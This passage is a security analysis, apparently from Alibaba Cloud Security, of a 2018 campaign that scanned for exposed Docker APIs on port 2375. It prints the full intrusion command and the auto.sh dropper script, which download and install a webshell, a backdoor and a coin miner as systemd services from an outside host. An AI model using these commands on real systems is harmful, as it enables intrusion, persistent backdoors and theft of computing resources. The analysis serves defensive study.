From the logs in p.txt, we can see that the author used Masscan to scan five network segment addresses starting with 172 on July 16, 2018. We suspect that this was a test run of the scanning script.
test.sh acted as the intrusion script. The script reads the list of Docker container IP addresses with an open port 2375 from dockerips.txt obtained with Masscan. Exploiting unauthorized Docker access vulnerability, the script then attempts to download 159.203.21.* and execute auto.sh on each of the found IP address, and upon successful execution, auto.sh is deleted.
The key shell command from the above, magnified:
docker -H tcp://$HOSTLINE:2375 run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "wget http://159.203.21.239/p/auto.sh" -O auto.sh;chmod 777 auto.sh;sleep 2s;sh auto.sh;sleep 5s;rm auto.shOnce Docker is compromised and auto.sh is executed, earlier versions of malicious files, if any, are removed, and then updated files are downloaded from the server to the compromised server, including the webshell, mining program, backdoor program, task files, and mining configuration files, and proceeds to their execution.
The sequence of the attack is as follows:
#! /bin/sh
rm bashd. 1;
rm xm. 1;
rm data.cfg. 1;
rm bashd.service. 1;
rm xm.service. 1;
wget http://159.203.21.239/p/p.php -O privacy.php | sed 's/\r//g';
cp privacy.php /var/www/html/privacy.php;
cp privacy.php /var/www/privacy.php;
rm privacy.php;
chmod -R 777 /var/www;
wget http://159.203.21.239/p/bashd -O bashd | sed 's/\r//g';
wget http://159.203.21.239/p/xm -O xm | sed 's/\r//g';
wget http://159.203.21.239/p/data.cfg -O data.cfg | sed 's/\r//g';
wget http://159.203.21.239/p/bashd.service -O bashd.service | sed 's/\r//g';
wget http://159.203.21.239/p/xm.service -O xm.service | sed 's/\r//g';
sleep 2s;
chmod 777 bashd;
chmod 777 xm;
sleep 2s;
mv "bashd.service" "/etc/systemd/system/bashd.service";
mv "xm.service" "/etc/systemd/system/xm.service";
systemctl daemon-reload;
systemctl stop bashd.service;
systemctl stop xm.service;
systemctl enable bashd.service;
systemctl start bashd.service;
systemctl enable xm.service;
systemctl start xm.service;The Alibaba Cloud Security team has recently discovered a novel attack on Docker services exposed on the web. While default malware functionality includes a rich DDoS and coin mining functionality, with a powerful webshell backdoor, the capabilities of this malware are unlimited. The cloud location of many Docker deployments makes it possible to execute extremely powerful in-cloud DDoS attacks and cloud-to-cloud DDoS attacks.
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